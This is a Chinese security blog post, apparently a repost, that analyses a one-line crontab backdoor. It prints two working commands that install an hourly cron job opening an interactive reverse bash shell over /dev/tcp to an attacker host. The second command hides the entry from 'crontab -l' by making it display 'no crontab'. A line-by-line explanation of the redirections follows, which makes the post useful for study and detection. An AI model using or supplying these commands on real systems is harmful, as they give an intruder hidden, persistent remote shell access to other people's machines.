crontab一句话后门分析

admin 2020年8月10日09:26:59评论304 views字数 715阅读2分23秒阅读模式

正常版本

(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -


升级猥琐版本

(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;rno crontab for `whoami`%100cn")|crontab -

crontab -l直接提示no crontab


分析:

e
cho '*/60 * * * *'

crontab格式 每隔60分钟执行一次

exec 9<>/dev/tcp/127.0.0.1/8888

以读写方式打开/dev/tcp,并指定服务器名为:127.0.0.1(攻击机) 端口号为:8888,指定描述符为9

要注意的是:/dev/tcp本身是不存在的,在/dev目录下是找不到的

exec 0<&9;exec 1>&9 2>&1;

linux 三个基本文件描述符 0:stdin 1:stdout 2:stderr

n >&m 表示使文件描述符n成为描述符m的副本

exec 0<&9;   将fd9从定向到标准输入;

exec 1>&9 2>&1;   将标准输出从定向到文件fd9,将标准错误从定向到标准输出.

简单的理解为fd9=fd0  fd1=fd9 所以我的理解是,fd9从标准输入读入字符,处理后结果用标准输出输出.

/bin/bash --noprofile -i

打开一个shell


如果觉得文章对你有帮助,请支持下点击右下角“在看”

crontab一句话后门分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年8月10日09:26:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   crontab一句话后门分析https://cn-sec.com/archives/84216.html

发表评论

匿名网友 填写信息